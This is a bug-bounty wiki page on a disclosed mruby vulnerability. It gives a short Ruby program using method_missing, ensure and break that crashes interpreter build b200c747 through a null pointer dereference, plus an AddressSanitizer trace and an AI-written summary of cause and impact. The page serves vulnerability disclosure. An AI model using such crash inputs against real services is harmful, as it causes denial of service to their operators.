Null pointer dereference with send/method_missing
A crafted Ruby program causes mruby to dereference a null pointer, leading to a crash. An attacker could use this to cause a denial of service.
- Triaged in under an hour
- Fixed in 26 hours
- Paid in 26 hours
- Disclosed after 27 hours
The following program triggers a null pointer dereference with mruby b200c747:
def method_missing(m)
ensure
begin A rescue
break
rescue
end
end
send ''
ASAN report:
ASAN:DEADLYSIGNAL
=================================================================
==12116==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000051bfaa bp 0x7fff4a650cd0 sp 0x7fff4a648a80 T0)
#0 0x51bfa9 in mrb_vm_exec /home/vagrant/mruby/src/vm.c:1427:9
#1 0x510c6a in mrb_vm_run /home/vagrant/mruby/src/vm.c:879:12
#2 0x541b3f in mrb_top_run /home/vagrant/mruby/src/vm.c:2884:12
#3 0x6569ff in mrb_load_exec /home/vagrant/mruby/mrbgems/mruby-compiler/core/parse.y:5823:7
#4 0x657685 in mrb_load_file_cxt /home/vagrant/mruby/mrbgems/mruby-compiler/core/parse.y:5832:10
#5 0x4f3a61 in main /home/vagrant/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227:11
#6 0x7f256672ef44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21f44)
#7 0x41a5c5 in _start (/home/vagrant/mruby/bin/mruby+0x41a5c5)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/vagrant/mruby/src/vm.c:1427:9 in mrb_vm_exec
==12116==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the interpreter mishandles a method_missing call combined with an ensure block and a break statement, leading to a null pointer dereference.
Impact
The interpreter crashes, causing a denial of service.
What the attacker needed
Ability to run mruby code
How it was found
- Write a Ruby program that defines method_missing with an ensure block containing a begin/rescue/break.
- Call send with an empty string.
- Run the program with mruby, which crashes with a segmentation fault.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A null pointer dereference happens when a program tries to use a memory address that points to nothing (zero). This makes the program crash. Here, a specially written Ruby script makes the mruby interpreter crash.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.